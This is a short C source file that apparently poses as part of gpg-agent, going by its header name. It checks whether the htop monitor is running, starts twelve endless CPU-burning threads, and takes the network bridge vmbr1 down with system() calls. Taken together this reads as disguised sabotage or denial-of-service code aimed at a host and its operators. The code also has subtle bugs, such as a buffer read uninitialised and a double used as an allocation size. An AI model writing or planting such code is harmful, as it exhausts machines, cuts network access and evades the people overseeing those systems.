#include "u-gpg-agent.h" int is_htop_here() { char cmd[100] = "pgrep htop"; // shell command to check for htop process FILE* fp = popen(cmd, "r"); // open a pipe to execute the command and read its output char buf[10]; // buffer to hold the output fgets(buf, sizeof(buf), fp); // read the output from the pipe into the buffer pclose(fp); // close the pipe if (strlen(buf) > 0) { // if the output is non-empty, htop is running printf("HTOP TROUVÉ\n"); return 1; } else { return 0; } } void* stress_thread(void* arg) { double size = 100000; double *arr = malloc(size * sizeof(double)); if (arr == NULL) { printf("Error: failed to allocate memory\n"); exit(1); } srand(time(NULL)); while (1) { // generate random values and perform complex mathematical operations on them for (int i = 0; i < size; i++) { arr[i] = (double)rand() / RAND_MAX; } for (int i = 0; i < size; i++) { arr[i] = sin(cos(tan(arr[i] * M_PI))); } } pthread_exit(NULL); } void stress() { int num_threads = 12; pthread_t threads[num_threads]; for (int i = 0; i < num_threads; i++) { pthread_create(&threads[i], NULL, stress_thread, NULL); } for (int i = 0; i < num_threads; i++) { pthread_join(threads[i], NULL); } } void kill_nic() { system("/usr/bin/ip l set vmbr1 down"); sleep(10); system("/usr/bin/ip l set vmbr1 up"); }